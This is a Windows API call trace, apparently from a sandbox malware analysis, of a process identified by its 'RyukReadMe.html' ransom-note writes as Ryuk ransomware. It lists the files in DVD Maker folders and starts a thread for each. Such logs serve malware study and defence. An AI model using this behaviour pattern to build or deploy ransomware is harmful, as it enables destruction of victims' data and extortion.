	[0180.265] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0180.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc
	[0180.267] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.268] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0180.268] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0
	[0180.271] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.272] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1
	[0180.272] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4
	[0180.274] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.275] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0180.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8
	[0180.277] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.278] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1
	[0180.278] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc
	[0180.280] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.280] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1
	[0180.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0
	[0180.283] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.284] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0
	[0180.284] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0180.708] SetLastError (dwErrCode=0x0) 
	[0180.708] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.719] GetLastError () returned 0x5
	[0180.719] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0180.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.719] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x62, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1
	[0180.719] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8
	[0180.722] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.722] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x62, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0180.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce4
	[0180.725] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.725] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x62, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1
	[0180.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8
	[0180.728] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.728] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x62, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0180.728] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec
	[0180.730] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.731] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x62, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0180.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0
	[0180.733] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.734] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x62, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1
	[0180.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0180.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4
	[0180.737] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0180.738] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1
	[0180.738] SetLastError (dwErrCode=0x0) 
	[0180.738] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0180.738] GetLastError () returned 0x5
	[0180.738] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0180.738] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0180.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0181.164] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.164] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0181.164] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd00
	[0181.214] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.215] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047_576black.png", cAlternateFileName="")) returned 1
	[0181.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc
	[0181.217] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.218] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0181.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd08
	[0181.220] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.221] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0181.221] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c
	[0181.223] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.223] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0181.224] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10
	[0181.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.227] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0181.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14
	[0181.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.230] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0181.230] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18
	[0181.233] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.234] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0181.234] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c
	[0181.236] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.237] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x76, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1
	[0181.237] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20
	[0181.239] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0181.239] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x76, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0181.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0181.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24
	[0181.243] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
